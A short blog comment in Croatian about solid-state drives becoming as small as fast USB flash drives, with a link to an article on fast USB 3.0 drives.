  46.   Alfredo Pereira rekao je

    Tehnologija ima običaj s godinama smanjivati ​​veličinu. I to se u nevjerovatnoj mjeri dogodilo sa solid state uređajima (SSD). Sada ih možete nabaviti u istoj veličini kao i najbrži USB flash pogoni.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/